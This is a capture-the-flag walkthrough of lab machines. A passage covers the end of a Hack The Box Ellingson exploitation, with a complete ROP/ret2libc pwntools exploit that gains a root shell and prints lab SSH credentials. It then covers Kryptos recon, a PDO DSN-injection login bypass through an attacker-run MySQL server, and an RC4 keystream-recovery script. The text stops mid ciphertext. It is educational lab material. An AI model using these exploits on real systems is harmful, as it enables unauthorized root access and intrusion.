(gdb) disassemble 0x0000000000401050

  0x0000000000401050 <+0>:    jmpq   *0x2fd2(%rip)        # 0x404028 <puts@got.plt>
  0x0000000000401056 <+6>:    pushq  $0x2
  0x000000000040105b <+11>:    jmpq   0x401020
```

```python
from pwn import *

pwnable = process("./garbage")

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x404028)                # puts@got.plt
payload += p64(0x401050)                # puts@plt
payload += p64(0x401619)                # main <+0>

pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")
```

This process sets the value of **`$rdi`** to be the address of **`puts@got.plt`** directly offset from the libc shared object. **`$rdi`** then gets passed as an argument to the function, **`puts@plt`** then output to STDOUT. This process is essential to be able to infer the libc version being used by the infected machine (ellingson).

The exploit returns back to the main function. Since the executable is still running, the libc dynamically linked to the executable is still in the same address which means that the address leaked using the exploit above is still useful. The process of creating a ROP payload then returning to **`main`** can be repeated until all preparations to achieve command execution are completed.

### 6.7 Write "/bin/sh" to .data

```
$ objdump -h ./garbage

  Sections:
  Idx Name          Size      VMA               LMA               File off  Algn
  ...omitted...
   22 .data         00000014  00000000004040b8  00000000004040b8  000030b8  2**3
                    CONTENTS, ALLOC, LOAD, DATA
   23 .bss          00000018  00000000004040d0  00000000004040d0  000030cc  2**4
                    ALLOC
  ...omitted...

$ objdump -j .data -s ./garbage

  Contents of section .data:
   4040b8 00000000 00000000 00000000 00000000  ................
   4040c8 39050000                             9...
```

```python
from pwn import *

pwnable = process("./garbage")

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x4040b8)                # .data segment
payload += p64(0x401100)                # gets@plt
payload += p64(0x401619)                # main <+0>

pwnable.sendline(payload)

shell = "/bin/sh"
pwnable.sendline(shell + "\x00"*(8-(len(shell)%8)))
```

**.data segment**

> a portion of an object file or the corresponding virtual address space of a program that contains initialized static variables, that is, global variables and static local variables. The size of this segment is determined by the size of the values in the program's source code, and does not change at run time.
>
> The data segment is read-write, since the values of variables can be altered at run time. Uninitialized data, both variables and constants, is instead in the BSS segment.

The string **`/bin/sh`** was written in the .data segment (which was otherwise basically empty).

### 6.8 Calculating libc offsets

```
margo@ellingson:~$  ldd /usr/bin/garbage

  linux-vdso.so.1 (0x00007ffc77ffb000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f370379e000)
  /lib64/ld-linux-x86-64.so.2 (0x00007f3703b8f000)

$ scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
$ margo@10.10.10.139's password: iamgod$08

  libc.so.6                                                              100% 1983KB
```

```python
from pwn import *

libc = ELF("./libc.so.6")
libc_address = u64(puts_leaked) - libc.symbols['puts']

GLIBC_setuid = libc_address + libc.symbols['setuid']
GLIBC_system = libc_address + libc.symbols['system']
GLIBC_exit = libc_address + libc.symbols['exit']

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)        # pop rdi; ret;
payload += p64(0)            # integer, 0
payload += p64(GLIBC_setuid)
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x4040b8)                # .data segment
payload += p64(GLIBC_system)
payload += p64(GLIBC_exit)
```

The base address of the **libc** is calculated by removing the offset of the leaked **`puts`** address. Knowing the base address of the libc used during run-time means you can call the functions you want with the right offsets. The offsets of each libc function are constant in their respective versions and architecture which could pretty much be easily computed.

### 6.9 Putting everything together

```python
from pwn import *

shell = ssh("margo", '10.10.10.139', password="iamgod$08")
pwnable = shell.process("/usr/bin/garbage")

# ==================================================================

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x404028)                # puts@got.plt
payload += p64(0x401050)                # puts@plt
payload += p64(0x401619)                # main <+0>

pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")

log.success("LEAKED ADDRESS puts@got.plt : {}".format(hex(u64(puts_leaked))))

# ==================================================================

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x4040b8)                # .data segment
payload += p64(0x401100)                # gets@plt
payload += p64(0x401619)                # main <+0>

pwnable.sendline(payload)

shell = "/bin/sh"
pwnable.sendline(shell + "\x00"*(8-(len(shell)%8)))
pwnable.recvuntil("denied.\n")

log.success("\"{}\" WAS WRITTEN ON {}".format(shell, hex(int("0x4040b8", 16))))

# ==================================================================

libc = ELF("./libc.so.6")
libc_address = u64(puts_leaked) - libc.symbols['puts']

GLIBC_setuid = libc_address + libc.symbols['setuid']
GLIBC_system = libc_address + libc.symbols['system']
GLIBC_exit = libc_address + libc.symbols['exit']

payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += p64(0x40179b)        # pop rdi; ret;
payload += p64(0)            # integer, 0
payload += p64(GLIBC_setuid)
payload += p64(0x40179b)                # pop rdi; ret;
payload += p64(0x4040b8)                # .data segment
payload += p64(GLIBC_system)
payload += p64(GLIBC_exit)

log.info("setuid() : {}".format(hex(GLIBC_setuid)))
log.info("system() : {}".format(hex(GLIBC_system)))
log.info("exit()   : {}".format(hex(GLIBC_exit)))

pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
pwnable.interactive()
```

Running the exploit:

```bash
$ python exploit.py

  [+] Connecting to 10.10.10.139 on port 22: Done
  [*] margo@10.10.10.139:
      Distro    Ubuntu 18.04
      OS:       linux
      Arch:     amd64
      Version:  4.15.0
      ASLR:     Enabled
  [+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 41256
  [+] LEAKED ADDRESS puts@got.plt : 0x7ff860e879c0
  [+] "/bin/sh" WAS WRITTEN ON 0x4040b8
  [*] './libc.so.6'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    Canary found
      NX:       NX enabled
      PIE:      PIE enabled
  [*] setuid() : 0x7ff860eec970
  [*] system() : 0x7ff860e56440
  [*] exit()   : 0x7ff860e4a120
  [*] Switching to interactive mode
  # $ id
  uid=0(root) gid=1002(margo) groups=1002(margo)
  # $ cat /root/root.txt
  1cc7........................f997
  # $
```

Without setting the **uid** to **0**, the effective uid would still be **1002** which is still **`margo`**'s uid.

## PART 7 : REFERENCES

* <https://en.wikipedia.org/wiki/Hackers_(film>)
* <http://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/>
* <https://en.wikipedia.org/wiki/Data_segment>


# HTB Kryptos

10.10.10.129 | 50 pts | Synack Track | Cracker Badge

## PART 1 : INITIAL RECON

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 700 -p- -v 10.10.10.129

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http

$ nmap -oN kryptos.nmap -p 22,80 -sC -sV -v 10.10.10.129

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA)
  |   256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA)
  |_  256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519)
  80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  | http-cookie-flags: 
  |   /: 
  |     PHPSESSID: 
  |_      httponly flag not set
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: Cryptor Login
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### 1.2 GOBUSTER

```bash
$ gobuster dir -u http://10.10.10.129/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt

  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  ...omitted...
  /index.php (Status: 200)
  /css (Status: 301)
  /dev (Status: 403)
  /logout.php (Status: 302)
  /url.php (Status: 200)
  /aes.php (Status: 200)
  /encrypt.php (Status: 302)
  /rc4.php (Status: 200)
```

A forbidden directory is found (**`/dev/`** and opening `url.php`, `aes.php`, and `rc4.php` leads to empty pages so they might be php files included inside **`/encrypt.php`**

## PART 2 : PORT ENUMERATION

### 2.1 TCP PORT 80

Opening **`http://10.10.10.129/`** on your browser leads you to:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-Mfcp0QGf6MQBEkPc-NZ%2F-MfcrWLa0ovxy_tzwZh6%2Fimage.png?alt=media\&token=490a71a8-820c-4c9c-abf4-123310eab0de)

It contains a login form and examining how the login works reveals that:

```markup
<html>
  <head>
    <title>Cryptor Login</title>
    <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
  </head>
  <body>
    <div class="container-fluid">
      <div class="container">
        <h2>Cryptor Login</h2>
        <form action="" method="post">
          <div class="form-group">
            <label for="Username">Username:</label>
            <input type="text" class="form-control" id="username" name="username" placeholder="Enter username">
          </div>
          <div class="form-group">
            <label for="password">Password:</label>
            <input type="password" class="form-control" id="password" name="password" placeholder="Enter password">
          </div>
          <input type="hidden" id="db" name="db" value="cryptor">
          <input type="hidden" name="token" value="42517f1f6b8abed04777dcdcbe2970ec04829ff65580e029e0f85d58ca4c1148" />
          <button type="submit" class="btn btn-primary" name="login">Submit</button>
        </form>
      </div>
  </body>
</html>
```

There are two hidden values, **`db`** and **`token`**, and fuzzing the **`db`** parameter returns **`PDOException code: 1044`**. Also, the **`token`** value is not reusable and should be renewed every legitimate request.

**PDO** (***PHP Data Objects***) grants PHP access to various databases and its object contructor is as follows:

```php
# public PDO::__construct ( string $dsn [, string $username [, string $passwd [, array $options ]]] )   

new PDO($dsn, $user, $password);
```

**`PDOException code: 1044`** refers to "**Access denied for user...**" and I assume that it is returned when connecting to a non-existent database.

## PART 3 : EXPLOITATION

### **3.1 Data Source Name (DSN)**

{% hint style="info" %}
What is a **Data Source Name (DSN)**?

Supplying a **DSN** is required in creating a PDO instance. The contents of the **DSN** depends on what database is used.
{% endhint %}

Assuming that the database in use is **MySQL**, then the DSN format for the **PDO\_MYSQL** is as follows:

```php
$dsn = "mysql:dbname=testdb;port=3306;host=localhost";
```

Supplying the `port` is optional (defaults to 3306). The `$dsn` when passed to a PDO constructor is a string and all strings in PHP, if unsanitized, are vulnerable to injection when affected by user input.

It is also important to note that the login form has a hidden `db` parameter with a default value `cryptor` and perhaps the `$dsn` string is as follows:

```php
$dsn = "mysql:dbname=".$_POST['db'].";host=localhost";
```

The `host` parameter could also be blank or unsupplied entirely like so:

```php
$dsn = "mysql:dbname=".$_POST['db'];
```

### 3.2 DSN Login Bypass

Create a script that can repeatedly send requests on the login page:

```python
   # kryptos_login.py
   import requests as r

   target = "http://10.10.10.129"
   htb_ipv4 = "10.10.12.248"

   session = r.Session()
   req_token = session.get(target).text[737:801]

   while True:
       data = {i
           "username": "placeholder",
           "password": "placeholder",
           "db": "cryptor;host="+htb_ipv4,
           "token": req_token,
           "login": ""
       }

       req_post = session.post(target, data=data)

       if "PDOException" not in req_post.text:
           req_token = req_post.text[737:801]
       else: print("RESPONSE:", req_post.text)

       if(input("Enter '0' to exit: ")=="0"): exit()
       else: print("\n")
```

The script automatically replaces the request token since it cannot be reused and the purpose of this script is to capture the **PDOException code** generated by the request. After running script (kryptos\_login.py) using `python3`:

```
RESPONSE: PDOException code: 2002
Enter '0' to exit: _
```

Since the host now points to the local machine, a new error was generated -- `PDOException code: 2002` is returned when PHP cannot connect to the MySQL service. There is no MySQL service running on the local machine; therefore, PHP has nothing to connect to:

```bash
$ sudo service mysql start

$ netstat -lnt

  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address         State      
  tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
  [...omitted...]
```

Send another request using the running script, `kryptos_login.py`:

```
RESPONSE: PDOException code: 1045
Enter '0' to exit: _
```

A new error message was generated -- `PDOException code: 1045` is returned when authentication to the MySQL service was not validated. Capturing remote connections to the MySQL service using `tcpdump`:&#x20;

```bash
$ tcpdump -i tun0 port 3306 -nn -s0 -vv -XX
```

Continue the running script, kryptos\_login.py, then check the captured packets:

```bash
[...omitted...]
19:53:20.838248 IP (tos 0x8, ttl 64, id 41282, offset 0, flags [DF], proto TCP (6), length 147)
    10.10.12.248.3306 > 10.10.10.129.41478: Flags [P.], cksum 0x75e6 (correct), seq 1:96, ack 1, win 227, options [nop,nop,TS val 2788016945 ecr 3550813062], length 95
    0x0000:  4508 0093 a142 4000 4006 6d8e 0a0a 0cf8  E....B@.@.m.....
    0x0010:  0a0a 0a81 0cea a206 c8e6 7811 04cf 887f  ..........x.....
    0x0020:  8018 00e3 75e6 0000 0101 080a a62d c331  ....u........-.1
    0x0030:  d3a5 1b86 5b00 0000 0a35 2e35 2e35 2d31  ....[....5.5.5-1
    0x0040:  302e 332e 3135 2d4d 6172 6961 4442 2d31  0.3.15-MariaDB-1
    0x0050:  0038 0000 0046 7a53 6e52 3038 6600 fef7  .8...FzSnR08f...
    0x0060:  2d02 00bf 8115 0000 0000 0000 0700 0000  -...............
    0x0070:  7a53 6d4c 7528 6547 7125 6138 006d 7973  zSmLu(eGq%a8.mys
    0x0080:  716c 5f6e 6174 6976 655f 7061 7373 776f  ql_native_passwo
    0x0090:  7264 00                                  rd.
[...omitted...]
19:53:21.041103 IP (tos 0x0, ttl 63, id 29450, offset 0, flags [DF], proto TCP (6), length 168)
    10.10.10.129.41478 > 10.10.12.248.3306: Flags [P.], cksum 0x01ba (correct), seq 1:117, ack 96, win 229, options [nop,nop,TS val 3550813290 ecr 2788016945], length 116
    0x0000:  4500 00a8 730a 4000 3f06 9cb9 0a0a 0a81  E...s.@.?.......
    0x0010:  0a0a 0cf8 a206 0cea 04cf 887f c8e6 7870  ..............xp
    0x0020:  8018 00e5 01ba 0000 0101 080a d3a5 1c6a  ...............j
    0x0030:  a62d c331 7000 0001 8da2 0b00 0000 00c0  .-.1p...........
    0x0040:  2d00 0000 0000 0000 0000 0000 0000 0000  -...............
    0x0050:  0000 0000 0000 0000 6462 7573 6572 0014  ........dbuser..
    0x0060:  efdc c161 a295 1e9e a2c1 eb55 30a2 71c5  ...a.......U0.q.
    0x0070:  c67f 2924 6372 7970 746f 7200 6d79 7371  ..)$cryptor.mysq
    0x0080:  6c5f 6e61 7469 7665 5f70 6173 7377 6f72  l_native_passwor
    0x0090:  6400 150c 5f63 6c69 656e 745f 6e61 6d65  d..._client_name
    0x00a0:  076d 7973 716c 6e64                      .mysqlnd
[...omitted...]
19:53:21.041276 IP (tos 0x8, ttl 64, id 41284, offset 0, flags [DF], proto TCP (6), length 133)
    10.10.12.248.3306 > 10.10.10.129.41478: Flags [P.], cksum 0x2afb (correct), seq 96:177, ack 117, win 227, options [nop,nop,TS val 2788017148 ecr 3550813290], length 81
    0x0000:  4508 0085 a144 4000 4006 6d9a 0a0a 0cf8  E....D@.@.m.....
    0x0010:  0a0a 0a81 0cea a206 c8e6 7870 04cf 88f3  ..........xp....
    0x0020:  8018 00e3 2afb 0000 0101 080a a62d c3fc  ....*........-..
    0x0030:  d3a5 1c6a 4d00 0002 ff15 0423 3238 3030  ...jM......#2800
    0x0040:  3041 6363 6573 7320 6465 6e69 6564 2066  0Access.denied.f
    0x0050:  6f72 2075 7365 7220 2764 6275 7365 7227  or.user.'dbuser'
    0x0060:  4027 3130 2e31 302e 3130 2e31 3239 2720  @'10.10.10.129'.
    0x0070:  2875 7369 6e67 2070 6173 7377 6f72 643a  (using.password:
    0x0080:  2059 4553 29                             .YES)
[...omitted...]
```

The client authenticates using the `mysql_native_password` plugin which means the password is hashed and is therefore difficult to retrieve. This also returned a new error -- `PDOException code: 1045`:

```
Access denied for user 'dbuser'@'10.10.10.129' (using password: YES)
```

But since the MySQL server being connected to by the application is hosted locally, `dbuser` could just be created:

```sql
> CREATE USER 'dbuser'@10.10.10.129 IDENTIFIED WITH mysql_native_password;
> GRANT ALL PRIVILEGES ON *.* TO 'dbuser'@'%' IDENTIFIED WITH mysql_native_password;
> FLUSH PRIVILEGES;
```

The authentication would still throw an error since the password cannot be authenticated but it could be ignored by setting the `--skip-grant-tables` flag. This flag is commonly used to reset forgotten root passwords in MySQL and lets you use the service without authenticating which is particularly useful since the database instance is running locally:

```bash
$ sudo service mysql stop
$ sudo mysqld --skip-grant-tables &
```

Continue the script, kryptos\_login.py, then check the packets captured by `tcpdump`:

```
[...omitted...]
20:55:22.843127 IP (tos 0x8, ttl 64, id 6821, offset 0, flags [DF], proto TCP (6), length 91)
  10.10.12.248.3306 > 10.10.10.129.41502: Flags [P.], cksum 0x6c24 (correct), seq 96:135, ack 117, win 227, options [nop,nop,TS val 2791738950 ecr 3554535048], length 39
     0x0000:  4508 005b 1aa5 4000 4006 f463 0a0a 0cf8  E..[..@.@..c....
       0x0010:  0a0a 0a81 0cea a21e 1a3a 11aa 53c8 665f  .........:..S.f_
       0x0020:  8018 00e3 6c24 0000 0101 080a a666 8e46  ....l$.......f.F
       0x0030:  d3dd e688 2300 0002 ff19 0423 3432 3030  ....#......#4200
       0x0040:  3055 6e6b 6e6f 776e 2064 6174 6162 6173  0Unknown.databas
       0x0050:  6520 2763 7279 7074 6f72 27              e.'cryptor'
[...omitted...]
```

An error still thrown -- `PDOException code: 1049`. This occurs when the client is trying to connect to a non-existent database. An `Unkown database 'cryptor'` was captured by tcpdump so we just create one in the local instance:

```sql
> CREATE DATABASE cryptor;

  Query OK, 1 row affected (0.000 sec)
```

Continue the script, `kryptos_login.py`, again then also check the packets captured by `tcpdump`:

```
[...omitted...]
21:16:47.377815 IP (tos 0x0, ttl 63, id 656, offset 0, flags [DF], proto TCP (6), length 171)
  10.10.10.129.41516 > 10.10.12.248.3306: Flags [P.], cksum 0x8232 (correct), seq 117:236, ack 107, win 229, options [nop,nop,TS val 3555819565 ecr 2793023291], length 119
 0x0000:  4500 00ab 0290 4000 3f06 0d31 0a0a 0a81  E.....@.?..1....
 0x0010:  0a0a 0cf8 a22c 0cea 4989 172d e05a 8bf1  .....,..I..-.Z..
 0x0020:  8018 00e5 8232 0000 0101 080a d3f1 802d  .....2.........-
 0x0030:  a67a 273b 7300 0000 0353 454c 4543 5420  .z';s....SELECT.
 0x0040:  7573 6572 6e61 6d65 2c20 7061 7373 776f  username,.passwo
 0x0050:  7264 2046 524f 4d20 7573 6572 7320 5748  rd.FROM.users.WH
 0x0060:  4552 4520 7573 6572 6e61 6d65 3d27 706c  ERE.username='pl
 0x0070:  6163 6568 6f6c 6465 7227 2041 4e44 2070  aceholder'.AND.p
 0x0080:  6173 7377 6f72 643d 2736 6139 3963 3537  assword='6a99c57
 0x0090:  3561 6238 3766 3863 3764 3165 6431 6535  5ab87f8c7d1ed1e5
 0x00a0:  3265 3765 3334 3963 6527 20              2e7e349ce'.
21:16:47.378054 IP (tos 0x8, ttl 64, id 31141, offset 0, flags [DF], proto TCP (6), length 100)
  10.10.12.248.3306 > 10.10.10.129.41516: Flags [P.], cksum 0x8b2c (correct), seq 107:155, ack 236, win 227, options [nop,nop,TS val 2793023485 ecr 3555819565], length 48
 0x0000:  4508 0064 79a5 4000 4006 955a 0a0a 0cf8  E..dy.@.@..Z....
 0x0010:  0a0a 0a81 0cea a22c e05a 8bf1 4989 17a4  .......,.Z..I...
 0x0020:  8018 00e3 8b2c 0000 0101 080a a67a 27fd  .....,.......z'.
 0x0030:  d3f1 802d 2c00 0001 ff7a 0423 3432 5330  ...-,....z.#42S0
 0x0040:  3254 6162 6c65 2027 6372 7970 746f 722e  2Table.'cryptor.
 0x0050:  7573 6572 7327 2064 6f65 736e 2774 2065  users'.doesn't.e
 0x0060:  7869 7374                                xist
[...omitted...]
```

There are no more `PDOException` errors which means the login page can now connect to the local MySQL service without any problems.

The query generated by the login page and the server response were intercepted by `tcpdump`:

```sql
SELECT username, password FROM users WHERE username='placeholder' AND password='6a99c575ab87f8c7d1ed1e52e7e349ce'
```

Which returned the following error:

```
#42S02Table 'cryptor.users' doesn't exist
```

The credentials being sent by `kryptos_login.py` is `placeholder:placeholder` wherein`6a99c575ab87f8c7d1ed1e52e7e349ce` must be a hash of `placeholder`. A table, `cryptor.users`, with the credentials from the request was created:

```sql
> CREATE TABLE cryptor.users (id int, username varchar(32), password varchar(256));

  Query OK, 0 rows affected (0.006 sec)
  
> INSERT INTO cryptor.users VALUES (1, "placeholder", "6a99c575ab87f8c7d1ed1e52e7e349ce");

  Query OK, 1 row affected (0.002 sec)
```

Log in should now be possible using the following POST Request data:

```http
username=placeholder&password=placeholder&db=cryptor;host=10.10.12.248&token=<a new token>&login=
```

### **3.3 /encrypt.php**

After a successful login:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcyV9S92yKvRrQ2O8A%2F-MfcyjNR0JtnivyDN_Kl%2Fimage.png?alt=media\&token=e6d6447c-5046-47dd-8ae1-84b7ba8a6245)

The page can encrypt files loaded via `http://` (which includes files loaded from a local webserver). It can encrypt in either `AES-CBC` or `RC4`and interestingly, the ciphertext never changes for the same plaintext.&#x20;

In ***RC4***, the plaintext is XORed with a *key stream* to generate the ciphertext. This means that the key stream generated for encryption/decryption never changes. Therefore, the key stream used could be generated if the plaintext and ciphertext are known.

Since files from the local machine could be encrypted by the server, contents of the encrypted file are known as well the generated ciphertext which means the key stream could be generated:

```python
# kryptos_encrypt.py
import requests as r

target = "http://10.10.10.129"
htb_ipv4 = "10.10.12.248"
session = r.Session()

def clearScreen(clear="clear"):
    __import__("os").system(clear)

def encodeURL(parameter_value):
    return __import__("urllib").parse.quote(parameter_value)

def encryptRC4(file_url):
    parameters = (("cipher", "RC4"), ("url", file_url))
    return session.get(target+"/encrypt.php", params=parameters)

def extractText(regex_filter, text):
    return __import__("re").findall(regex_filter, text)[0]

data = {
    "username": "placeholder",
    "password": "placeholder",
    "db": "cryptor;host="+htb_ipv4,
    "token": session.get(target).text[737:801],
    "login": ""
}
req_post = session.post(target, data=data)

while True:
    clearScreen()

    file_in = input("Enter the URL of the file to be encrypted: ")
    if(file_in==""): exit()

    req_encryption = encryptRC4(file_in)
    rc4_base64 = extractText('<text.*id="output">(.*)</text', req_encryption.text)
    if(rc4_base64): print("\n[Encrypted RC4]\n\n" + rc4_base64 + "\n")
    else:
        print("\n[ERROR]\n")
        print(extractText('alert-danger">\n(.*)</div>', req_encryption.text) + "\n")

    input("--Press Enter to continue--")
```

It is a **hard requirement** that the input starts with the string `http://`. Otherwise, An error would be thrown:

```
Only http scheme is supported at the moment!
```

A different error would be thrown if the file doesn't exist or is not found:

```
File not found or it was empty!
```

Now, create a long string of characters then host the file in an http server:

```bash
$ python -c 'print "A"*32000' > averylongstring.txt

$ python -m SimpleHTTPServer

  Serving HTTP on 0.0.0.0 port 8000 ...
```

Encrypt `averylongstring.txt` using **kryptos\_encrypt.py**:

```bash
$ python3 kryptos_encrypt.py

$ Enter the URL of the file to be encrypted: http://10.10.12.248:8000/averylongstring.txt

  [Encrypted RC4]
  
  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